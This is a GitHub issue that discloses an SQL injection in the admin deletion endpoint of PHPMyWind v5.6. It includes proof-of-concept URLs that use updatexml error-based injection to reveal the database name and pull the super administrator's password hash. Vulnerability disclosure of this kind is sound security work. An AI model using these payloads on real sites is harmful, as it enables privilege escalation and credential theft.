Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

sql injection exists many places in PHPMyWind v5.6 #10

Open
songxpu opened this issue Oct 28, 2019 · 0 comments
Open

sql injection exists many places in PHPMyWind v5.6 #10

songxpu opened this issue Oct 28, 2019 · 0 comments

Comments

@songxpu
Copy link

songxpu commented Oct 28, 2019

Product Homepage:http://phpmywind.com/
hello!
I found a serious SQL injection vulnerability in the backend management system(/admin/admin_save.php) of PHPMyWind v5.6

3

This vulnerability allows low-privilege site administrators to gain access to super-administrator accounts and passwords

Vulnerability validation:
First, there are three types of administrators in the current system: super administrators, site administrators, and article publishers
1
Now to the site administrator login background management system, click the administrator management, and then "delete function" is the location of the vulnerability
4
it's url is http://127.0.0.1/admin/admin_save.php?action=del&id=4
5
POC
(1)
http://127.0.0.1/admin/admin_save.php?action=del&id=4%27
6
(2)show the current database

http://127.0.0.1/admin/admin_save.php?action=del&id=4%20%20and%20id%20in%20(char(@`%27`),updatexml(1,concat(0x7e,(select%20database())),1),char(@`%27`))

7
(3) Query out the super administrator password

http://127.0.0.1/admin/admin_save.php?action=del&id=4  and id in (char(@`'`),updatexml(1,concat(0x7e,(select password from pmw_admin limit 0,1)),1),char(@`'`))

8
This vulnerability allows you to query the database for any data you want

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant